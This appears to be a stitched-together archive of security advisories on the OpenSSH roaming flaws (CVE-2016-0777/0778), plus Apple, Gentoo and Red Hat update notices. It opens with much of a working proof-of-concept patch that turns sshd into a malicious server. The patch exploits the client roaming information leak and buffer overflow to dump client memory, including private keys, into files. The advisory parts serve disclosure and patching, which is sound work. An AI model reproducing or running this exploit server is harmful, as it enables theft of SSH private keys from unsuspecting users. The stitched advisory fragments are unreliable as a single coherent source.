load_roaming_file("client_out_buf_size", &client_out_buf_size, &len); + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0 || client_out_buf_size > MAX_ROAMBUF) + fatal("%s: client_out_buf_size %u", func, + client_out_buf_size); + + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_OK); + packet_put_int64(client_write_bytes - (u_int64_t)client_out_buf_size); + packet_send(); + const int overflow = (access("output", F_OK) == 0); + if (overflow != 0) { + const void const ptr = load_roaming_file("output", NULL, &len); + buffer_append(packet_get_output(), ptr, len); + } + packet_write_wait(); + + char const client_out_buf = xmalloc(client_out_buf_size); + if (atomicio(read, packet_get_connection_in(), client_out_buf, + client_out_buf_size) != client_out_buf_size) + fatal("%s: read client_out_buf_size %u errno %d", func, + client_out_buf_size, errno); + if (overflow == 0) + dump_roaming_file("infoleak", client_out_buf, + client_out_buf_size); + fatal("%s: all done for %s", func, dir); +} + +static void kex_choose_conf(Kex kex) { Newkeys newkeys; @@ -470,6 +537,10 @@ kex_choose_conf(Kex kex) kex->roaming = 1; free(roaming); } + } else if (strcmp(peer[PROPOSAL_KEX_ALGS], KEX_RESUME) == 0) { + roaming_reconnect(); + / NOTREACHED / + fatal("%s: returned from %s", func, KEX_RESUME); }

/* Algorithm Negotiation */

diff -pruN openssh-6.4p1/roaming.h openssh-6.4p1+roaming/roaming.h --- openssh-6.4p1/roaming.h 2011-12-18 15:52:52.000000000 -0800 +++ openssh-6.4p1+roaming/roaming.h 2016-01-07 01:04:15.000000000 -0800 @@ -42,4 +42,86 @@ void resend_bytes(int, u_int64_t ); void calculate_new_key(u_int64_t , u_int64_t, u_int64_t); int resume_kex(void);

+#include +#include +#include +#include +#include +#include + +#include "atomicio.h" +#include "log.h" +#include "xmalloc.h" + +static inline char * +get_roaming_dir(const u_int id) +{ + const size_t buflen = MAXPATHLEN; + char const buf = xmalloc(buflen); + + if ((u_int)snprintf(buf, buflen, "/tmp/roaming-%08x", id) >= buflen) + fatal("%s: snprintf %u error", func, id); + return buf; +} + +static inline void +dump_roaming_file(const char const name, + const void const buf, const size_t buflen) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buf == NULL) + fatal("%s: %s buf %p", func, name, buf); + if (buflen <= 0 || buflen > MAX_ROAMBUF) + fatal("%s: %s buflen %lu", func, name, (u_long)buflen); + + const int fd = open(name, O_WRONLY | O_CREAT | O_EXCL, S_IRUSR); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + if (write(fd, buf, buflen) != (ssize_t)buflen) + fatal("%s: write %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); +} + +static inline void * +load_roaming_file(const char const name, + void buf, size_t const buflenp) +{ + if (name == NULL) + fatal("%s: name %p", func, name); + if (strchr(name, '/') != NULL) + fatal("%s: name %s", func, name); + if (buflenp == NULL) + fatal("%s: %s buflenp %p", func, name, buflenp); + + const int fd = open(name, O_RDONLY | O_NOFOLLOW | O_NONBLOCK); + if (fd <= -1) + fatal("%s: open %s errno %d", func, name, errno); + struct stat st; + if (fstat(fd, &st) != 0) + fatal("%s: fstat %s errno %d", func, name, errno); + if (S_ISREG(st.st_mode) == 0) + fatal("%s: %s mode 0%o", func, name, (u_int)st.st_mode); + if (st.st_size <= 0 || st.st_size > MAX_ROAMBUF) + fatal("%s: %s size %lld", func, name, + (long long)st.st_size); + + if (buf == NULL) { + buflenp = st.st_size; + buf = xmalloc(buflenp); + } else { + if (buflenp != (size_t)st.st_size) + fatal("%s: %s size %lld buflen %lu", func, name, + (long long)st.st_size, (u_long)buflenp); + } + if (read(fd, buf, buflenp) != (ssize_t)buflenp) + fatal("%s: read %s errno %d", func, name, errno); + if (close(fd) != 0) + fatal("%s: close %s errno %d", func, name, errno); + return buf; +} + #endif / ROAMING / diff -pruN openssh-6.4p1/serverloop.c openssh-6.4p1+roaming/serverloop.c --- openssh-6.4p1/serverloop.c 2013-07-17 23:12:45.000000000 -0700 +++ openssh-6.4p1+roaming/serverloop.c 2016-01-07 01:04:15.000000000 -0800 @@ -1060,6 +1060,9 @@ server_request_session(void) return c; }

+static int client_session_channel = -1; +static int server_session_channel = -1; + static void server_input_channel_open(int type, u_int32_t seq, void ctxt) { @@ -1089,12 +1092,22 @@ server_input_channel_open(int type, u_in c->remote_window = rwindow; c->remote_maxpacket = rmaxpack; if (c->type != SSH_CHANNEL_CONNECTING) { + debug("%s: avoid client-side buf_append", func); + / packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); packet_put_int(c->remote_id); packet_put_int(c->self); packet_put_int(c->local_window); packet_put_int(c->local_maxpacket); packet_send(); + */ + if (strcmp(ctype, "session") == 0) { + if (client_session_channel != -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + client_session_channel = c->remote_id; + server_session_channel = c->self; + } } } else { debug("server_input_channel_open: failure %s", ctype); @@ -1111,6 +1124,196 @@ server_input_channel_open(int type, u_in }

static void +roaming_disconnect(Kex const kex) +{ + const char cp, roaming = getenv("ROAMING"); + if (roaming == NULL) + roaming = "infoleak"; + int overflow = 0; + if ((cp = strstr(roaming, "overflow:")) != NULL) + overflow = cp[9]; + + const u_int client_recv_buf_size = packet_get_int(); + packet_check_eom(); + const u_int server_recv_buf_size = get_recv_buf_size(); + const u_int server_send_buf_size = get_snd_buf_size(); + debug("%s: client_recv_buf_size %u", func, client_recv_buf_size); + debug("%s: server_recv_buf_size %u", func, server_recv_buf_size); + debug("%s: server_send_buf_size %u", func, server_send_buf_size); + + u_int client_send_buf_size = 0; + if ((cp = strstr(roaming, "client_send_buf_size:")) != NULL) + client_send_buf_size = strtoul(cp + 21, NULL, 0); + else if (client_recv_buf_size == DEFAULT_ROAMBUF) + client_send_buf_size = DEFAULT_ROAMBUF; + else { + const u_int + max = MAX(client_recv_buf_size, server_recv_buf_size), + min = MIN(client_recv_buf_size, server_recv_buf_size); + if (min <= 0) + fatal("%s: min %u", func, min); + if (((u_int64_t)(max - min) * 1024) / min < 1) + client_send_buf_size = server_send_buf_size; + else + client_send_buf_size = client_recv_buf_size; + } + debug("%s: client_send_buf_size %u", func, client_send_buf_size); + if (client_send_buf_size <= 0) + fatal("%s: client_send_buf_size", func); + + u_int id = 0; + char dir = NULL; + for (;;) { + id = arc4random(); + debug("%s: id %u", func, id); + free(dir); + dir = get_roaming_dir(id); + if (mkdir(dir, S_IRWXU) == 0) + break; + if (errno != EEXIST) + fatal("%s: mkdir %s errno %d", func, dir, errno); + } + debug("%s: dir %s", func, dir); + if (chdir(dir) != 0) + fatal("%s: chdir %s errno %d", func, dir, errno); + + u_int client_out_buf_size = 0; + if ((cp = strstr(roaming, "client_out_buf_size:")) != NULL) + client_out_buf_size = strtoul(cp + 20, NULL, 0); + else if (overflow != 0) + client_out_buf_size = MAX_ROAMBUF; + else + client_out_buf_size = 1 + arc4random() % 4096; + debug("%s: client_out_buf_size %u", func, client_out_buf_size); + if (client_out_buf_size <= 0) + fatal("%s: client_out_buf_size", func); + dump_roaming_file("client_out_buf_size", &client_out_buf_size, + sizeof(client_out_buf_size)); + + if ((cp = strstr(roaming, "scp_mode")) != NULL) { + if (overflow != 0) + fatal("%s: scp_mode is incompatible with overflow %d", + func, overflow); + + u_int seconds_left_to_sleep = 3; + if ((cp = strstr(cp, "sleep:")) != NULL) + seconds_left_to_sleep = strtoul(cp + 6, NULL, 0); + debug("%s: sleep %u", func, seconds_left_to_sleep); + + if (client_session_channel == -1) + fatal("%s: client_session_channel %d", + func, client_session_channel); + + packet_start(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_put_int(client_session_channel); + packet_put_int(server_session_channel); + packet_put_int(0); / server window / + packet_put_int(0); / server maxpacket / + packet_send(); + + packet_start(SSH2_MSG_CHANNEL_DATA); + packet_put_int(client_session_channel); + packet_put_string("\0\n", 2); / response&source|sink&run_err / + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_REQUEST); + packet_get_int(); / server channel / + debug("%s: channel request %s", func, + packet_get_cstring(NULL)); + + while (seconds_left_to_sleep) + seconds_left_to_sleep = sleep(seconds_left_to_sleep); + } + + packet_start(SSH2_MSG_REQUEST_SUCCESS); + packet_put_int(id); / roaming_id / + packet_put_int64(arc4random()); / cookie / + packet_put_int64(0); / key1 / + packet_put_int64(0); / key2 / + packet_put_int(client_out_buf_size - client_send_buf_size); + packet_send(); + packet_write_wait(); + + if (overflow != 0) { + const u_int64_t full_client_out_buf = get_recv_bytes() + + client_out_buf_size; + + u_int fd_leaks = 4 * 8 * 8; / MIN_CHUNK_SIZE in bits / + if ((cp = strstr(roaming, "fd_leaks:")) != NULL) + fd_leaks = strtoul(cp + 9, NULL, 0); + debug("%s: fd_leaks %u", func, fd_leaks); + + while (fd_leaks--) { + packet_start(SSH2_MSG_CHANNEL_OPEN); + packet_put_cstring(overflow == 'X' ? "x11" : + "auth-agent@openssh.com"); / ctype / + packet_put_int(arc4random()); / server channel / + packet_put_int(arc4random()); / server window / + packet_put_int(arc4random()); / server maxpacket / + if (overflow == 'X') { + packet_put_cstring(""); / originator / + packet_put_int(arc4random()); / port / + } + packet_send(); + + packet_read_expect(SSH2_MSG_CHANNEL_OPEN_CONFIRMATION); + packet_get_int(); / server channel / + packet_get_int(); / client channel / + packet_get_int(); / client window / + packet_get_int(); / client maxpacket / + packet_check_eom(); + } + + while (get_recv_bytes() <= full_client_out_buf) { + packet_start(SSH2_MSG_GLOBAL_REQUEST); + packet_put_cstring(""); / rtype / + packet_put_char(1); / want_reply / + packet_send(); + + packet_read_expect(SSH2_MSG_REQUEST_FAILURE); + packet_check_eom(); + } + + if (kex == NULL) + fatal("%s: no kex, cannot rekey", func); + if (kex->flags & KEX_INIT_SENT) + fatal("%s: KEX_INIT_SENT already", func); + char const ptr = buffer_ptr(&kex->my); + const u_int len = buffer_len(&kex->my); + if (len <= 1+4) / first_kex_follows + reserved / + fatal("%s: kex len %u", func, len); + ptr[len - (1+4)] = 1; / first_kex_follows / + kex_send_kexinit(kex); + + u_int i; + packet_read_expect(SSH2_MSG_KEXINIT); + for (i = 0; i < KEX_COOKIE_LEN; i++) + packet_get_char(); + for (i = 0; i < PROPOSAL_MAX; i++) + free(packet_get_string(NULL)); + packet_get_char(); / first_kex_follows / + packet_get_int(); / reserved / + packet_check_eom(); + + char buf[81922]; / two packet_read_seqnr bufferfuls / + memset(buf, '\0', sizeof(buf)); + packet_start(SSH2_MSG_KEX_ROAMING_AUTH_FAIL); + packet_put_string(buf, sizeof(buf)); + packet_send(); + const Buffer const output = packet_get_output(); + dump_roaming_file("output", buffer_ptr(output), + buffer_len(output)); + } + + const u_int64_t client_write_bytes = get_recv_bytes(); + debug("%s: client_write_bytes %llu", func, + (unsigned long long)client_write_bytes); + dump_roaming_file("client_write_bytes", &client_write_bytes, + sizeof(client_write_bytes)); + fatal("%s: all done for %s", func, dir); +} + +static void server_input_global_request(int type, u_int32_t seq, void ctxt) { char rtype; @@ -1168,6 +1371,13 @@ server_input_global_request(int type, u_ } else if (strcmp(rtype, "no-more-sessions@openssh.com") == 0) { no_more_sessions = 1; success = 1; + } else if (strcmp(rtype, ROAMING_REQUEST) == 0) { + if (want_reply != 1) + fatal("%s: rtype %s want_reply %d", func, + rtype, want_reply); + roaming_disconnect(ctxt); + / NOTREACHED */ + fatal("%s: returned from %s", func, ROAMING_REQUEST); } if (want_reply) { packet_start(success ? diff -pruN openssh-6.4p1/sshd.c openssh-6.4p1+roaming/sshd.c --- openssh-6.4p1/sshd.c 2013-07-19 20:21:53.000000000 -0700 +++ openssh-6.4p1+roaming/sshd.c 2016-01-07 01:04:15.000000000 -0800 @@ -2432,6 +2432,8 @@ do_ssh2_kex(void) } if (options.kex_algorithms != NULL) myproposal[PROPOSAL_KEX_ALGS] = options.kex_algorithms; + else + myproposal[PROPOSAL_KEX_ALGS] = KEX_DEFAULT_KEX "," KEX_RESUME;

if (options.rekey_limit || options.rekey_interval)
    packet_set_rekey_limits((u_int32_t)options.rekey_limit,

.

More details about identifying an attack and mitigations will be available in the Qualys Security Advisory.

For the oldstable distribution (wheezy), these problems have been fixed in version 1:6.0p1-4+deb7u3.

For the stable distribution (jessie), these problems have been fixed in version 1:6.7p1-5+deb8u1.

For the testing distribution (stretch) and unstable distribution (sid), these problems will be fixed in a later version. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512

APPLE-SA-2016-03-21-5 OS X El Capitan 10.11.4 and Security Update 2016-002

OS X El Capitan 10.11.4 and Security Update 2016-002 is now available and addresses the following:

apache_mod_php Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš

AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1733 : Proteas of Qihoo 360 Nirvan Team

AppleRAID Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1732 : Proteas of Qihoo 360 Nirvan Team

AppleUSBNetworking Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue existed in the parsing of data from USB devices. This issue was addressed through improved input validation. CVE-ID CVE-2016-1734 : Andrea Barisani and Andrej Rosano of Inverse Path

Bluetooth Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1735 : Jeonghoon Shin@A.D.D CVE-2016-1736 : beist and ABH of BoB

Carbon Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .dfont file may lead to arbitrary code execution Description: Multiple memory corruption issues existed in the handling of font files. These issues were addressed through improved bounds checking. CVE-ID CVE-2016-1737 : an anonymous researcher

dyld Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker may tamper with code-signed applications to execute arbitrary code in the application's context Description: A code signing verification issue existed in dyld. CVE-ID CVE-2016-1738 : beist and ABH of BoB

FontParser Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Opening a maliciously crafted PDF file may lead to an unexpected application termination or arbitrary code execution Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1740 : HappilyCoded (ant4g0nist and r3dsm0k3) working with Trend Micro's Zero Day Initiative (ZDI)

HTTPProtocol Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to execute arbitrary code Description: Multiple vulnerabilities existed in nghttp2 versions prior to 1.6.0, the most serious of which may have led to remote code execution. These were addressed by updating nghttp2 to version 1.6.0. CVE-ID CVE-2015-8659

Intel Graphics Driver Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1743 : Piotr Bania of Cisco Talos CVE-2016-1744 : Ian Beer of Google Project Zero

IOFireWireFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to cause a denial of service Description: A null pointer dereference was addressed through improved validation. CVE-ID CVE-2016-1745 : sweetchip of Grayhash

IOGraphics Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed through improved input validation. CVE-ID CVE-2016-1746 : Peter Pi of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1747 : Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)

IOHIDFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: A memory corruption issue was addressed through improved memory handling. CVE-ID CVE-2016-1748 : Brandon Azad

IOUSBFamily Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1749 : Ian Beer of Google Project Zero and Juwei Lin of Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A use after free issue was addressed through improved memory management. CVE-ID CVE-2016-1750 : CESG

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A race condition existed during the creation of new processes. This was addressed through improved state handling. CVE-ID CVE-2016-1757 : Ian Beer of Google Project Zero and Pedro Vilaca

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: A null pointer dereference was addressed through improved input validation. CVE-ID CVE-2016-1756 : Lufeng Li of Qihoo 360 Vulcan Team

Kernel Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1754 : Lufeng Li of Qihoo 360 Vulcan Team CVE-2016-1755 : Ian Beer of Google Project Zero CVE-2016-1759 : lokihardt

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to determine kernel memory layout Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-ID CVE-2016-1758 : Brandon Azad

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple integer overflows were addressed through improved input validation. CVE-ID CVE-2016-1753 : Juwei Lin Trend Micro working with Trend Micro's Zero Day Initiative (ZDI)

Kernel Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to cause a denial of service Description: A denial of service issue was addressed through improved validation. CVE-ID CVE-2016-1752 : CESG

libxml2 Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing maliciously crafted XML may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2015-1819 CVE-2015-5312 : David Drysdale of Google CVE-2015-7499 CVE-2015-7500 : Kostya Serebryany of Google CVE-2015-7942 : Kostya Serebryany of Google CVE-2015-8035 : gustavo.grieco CVE-2015-8242 : Hugh Davenport CVE-2016-1761 : wol0xff working with Trend Micro's Zero Day Initiative (ZDI) CVE-2016-1762

Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker who is able to bypass Apple's certificate pinning, intercept TLS connections, inject messages, and record encrypted attachment-type messages may be able to read attachments Description: A cryptographic issue was addressed by rejecting duplicate messages on the client. CVE-ID CVE-2016-1788 : Christina Garman, Matthew Green, Gabriel Kaptchuk, Ian Miers, and Michael Rushanan of Johns Hopkins University

Messages Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a JavaScript link can reveal sensitive user information Description: An issue existed in the processing of JavaScript links. This issue was addressed through improved content security policy checks. CVE-ID CVE-2016-1764 : Matthew Bryan of the Uber Security Team (formerly of Bishop Fox), Joe DeMesy and Shubham Shah of Bishop Fox

NVIDIA Graphics Drivers Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An application may be able to execute arbitrary code with kernel privileges Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1741 : Ian Beer of Google Project Zero

OpenSSH Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Connecting to a server may leak sensitive user information, such as a client's private keys Description: Roaming, which was on by default in the OpenSSH client, exposed an information leak and a buffer overflow. These issues were addressed by disabling roaming in the client. CVE-ID CVE-2016-0777 : Qualys CVE-2016-0778 : Qualys

OpenSSH Available for: OS X Mavericks v10.9.5 and OS X Yosemite v10.10.5 Impact: Multiple vulnerabilities in LibreSSL Description: Multiple vulnerabilities existed in LibreSSL versions prior to 2.1.8. These were addressed by updating LibreSSL to version 2.1.8. CVE-ID CVE-2015-5333 : Qualys CVE-2015-5334 : Qualys

OpenSSL Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A remote attacker may be able to cause a denial of service Description: A memory leak existed in OpenSSL versions prior to 0.9.8zh. This issue was addressed by updating OpenSSL to version 0.9.8zh. CVE-ID CVE-2015-3195

Python Available for: OS X Mavericks v10.9.5, OS X Yosemite v10.10.5, and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by updating libpng to version 1.6.20. CVE-ID CVE-2014-9495 CVE-2015-0973 CVE-2015-8126 : Adam Mariš CVE-2015-8472 : Adam Mariš

QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted FlashPix Bitmap Image may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1767 : Francis Provencher from COSIG CVE-2016-1768 : Francis Provencher from COSIG

QuickTime Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted Photoshop document may lead to unexpected application termination or arbitrary code execution Description: Multiple memory corruption issues were addressed through improved memory handling. CVE-ID CVE-2016-1769 : Francis Provencher from COSIG

Reminders Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Clicking a tel link can make a call without prompting the user Description: A user was not prompted before invoking a call. This was addressed through improved entitlement checks. CVE-ID CVE-2016-1770 : Guillaume Ross of Rapid7 and Laurent Chouinard of Laurent.ca

Ruby Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local attacker may be able to cause unexpected application termination or arbitrary code execution Description: An unsafe tainted string usage vulnerability existed in versions prior to 2.0.0-p648. CVE-ID CVE-2015-7551

Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: A local user may be able to check for the existence of arbitrary files Description: A permissions issue existed in code signing tools. This was addressed though additional ownership checks. CVE-ID CVE-2016-1773 : Mark Mentovai of Google Inc.

Security Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE-ID CVE-2016-1950 : Francis Gabriel of Quarkslab

Tcl Available for:
OS X Yosemite v10.10.5 and OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted .png file may lead to arbitrary code execution Description: Multiple vulnerabilities existed in libpng versions prior to 1.6.20. These were addressed by removing libpng. CVE-ID CVE-2015-8126 : Adam Mariš

TrueTypeScaler Available for: OS X El Capitan v10.11 to v10.11.3 Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory corruption issue existed in the processing of font files. This issue was addressed through improved input validation. CVE-ID CVE-2016-1775 : 0x1byte working with Trend Micro's Zero Day Initiative (ZDI)

Wi-Fi Available for: OS X El Capitan v10.11 to v10.11.3 Impact: An attacker with a privileged network position may be able to execute arbitrary code Description: A frame validation and memory corruption issue existed for a given ethertype. This issue was addressed through additional ethertype validation and improved memory handling. CVE-ID CVE-2016-0801 : an anonymous researcher CVE-2016-0802 : an anonymous researcher

OS X El Capitan 10.11.4 includes the security content of Safari 9.1. https://support.apple.com/kb/HT206171

OS X El Capitan v10.11.4 and Security Update 2016-002 may be obtained from the Mac App Store or Apple's Software Downloads web site: http://www.apple.com/support/downloads/

Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

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Affected packages

-------------------------------------------------------------------
 Package              /     Vulnerable     /            Unaffected
-------------------------------------------------------------------

1 net-misc/openssh < 7.1_p2 >= 7.1_p2

Description

Qualys have reported two issues in the "roaming" code included in the OpenSSH client, which provides undocumented, experimental support for resuming SSH connections. Users with private keys that are not protected by a passphrase are advised to generate new keys if they have connected to an SSH server they don't fully trust. To do so, add "UseRoaming no" to the SSH client configuration, or specify "-o 'UseRoaming no'" on the command line.

Resolution

All OpenSSH users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/openssh-7.1_p2"

References

[ 1 ] CVE-2016-0777 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0777 [ 2 ] CVE-2016-0778 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2016-0778

Availability

This GLSA and any updates to it are available for viewing at the Gentoo Security Website:

https://security.gentoo.org/glsa/201601-01

Concerns?

Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us.

License

Copyright 2016 Gentoo Foundation, Inc; referenced text belongs to its owner(s).

The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5 . -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1

===================================================================== Red Hat Security Advisory

Synopsis: Moderate: openssh security update Advisory ID: RHSA-2016:0043-01 Product: Red Hat Enterprise Linux Advisory URL: https://rhn.redhat.com/errata/RHSA-2016-0043.html Issue date: 2016-01-14 CVE Names: CVE-2016-0777 CVE-2016-0778 =====================================================================

  1. Summary:

Updated openssh packages that fix two security issues are now available for Red Hat Enterprise Linux 7.

Red Hat Product Security has rated this update as having Moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section. Relevant releases/architectures:

Red Hat Enterprise Linux Client (v. 7) - x86_64 Red Hat Enterprise Linux Client Optional (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode (v. 7) - x86_64 Red Hat Enterprise Linux ComputeNode Optional (v. 7) - x86_64 Red Hat Enterprise Linux Server (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Server Optional (v. 7) - ppc64, ppc64le, s390x, x86_64 Red Hat Enterprise Linux Workstation (v. 7) - x86_64 Red Hat Enterprise Linux Workstation Optional (v. 7) - x86_64

  1. Description:

OpenSSH is OpenBSD's SSH (Secure Shell) protocol implementation. These packages include the core files necessary for both the OpenSSH client and server. (CVE-2016-0778)

Red Hat would like to thank Qualys for reporting these issues.

All openssh users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the OpenSSH server daemon (sshd) will be restarted automatically. Solution:

Before applying this update, make sure all previously released errata relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

  1. Package List:

Red Hat Enterprise Linux Client (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Client Optional (v. 7):

x86_64: openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

Red Hat Enterprise Linux ComputeNode (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

x86_64: openssh-6.6.1p1-23.el7_2.x86_64.rpm openssh-clients-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-keycat-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-6.6.1p1-23.el7_2.x86_64.rpm

Red Hat Enterprise Linux ComputeNode Optional (v. 7):

x86_64: openssh-askpass-6.6.1p1-23.el7_2.x86_64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.i686.rpm openssh-debuginfo-6.6.1p1-23.el7_2.x86_64.rpm openssh-ldap-6.6.1p1-23.el7_2.x86_64.rpm openssh-server-sysvinit-6.6.1p1-23.el7_2.x86_64.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.i686.rpm pam_ssh_agent_auth-0.9.3-9.23.el7_2.x86_64.rpm

Red Hat Enterprise Linux Server (v. 7):

Source: openssh-6.6.1p1-23.el7_2.src.rpm

ppc64: openssh-6.6.1p1-23.el7_2.ppc64.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64.rpm openssh-server-6.6.1p1-23.el7_2.ppc64.rpm

ppc64le: openssh-6.6.1p1-23.el7_2.ppc64le.rpm openssh-askpass-6.6.1p1-23.el7_2.ppc64le.rpm openssh-clients-6.6.1p1-23.el7_2.ppc64le.rpm openssh-debuginfo-6.6.1p1-23.el7_2.ppc64le.rpm openssh-keycat-6.6.1p1-23.el7_2.ppc64le.rpm openssh-server-6.6.1p1-23.el7_2.ppc64le.rpm

s390x: openssh-6.6.1p1-23.el7_2.s390x.rpm openssh-askpass-6.6.1p1-23.el7_2.s390x.rpm openssh-clients-6.6.1p1-23.el7_2.s390x.rpm openssh-debuginfo-6.6.1p1-23.el7_2.s390x.rpm openssh-keycat-6.6.1p1-23.el7_2.s390x.rpm openssh-server-6.6.1p1-23.el7_2.s390x.rpm

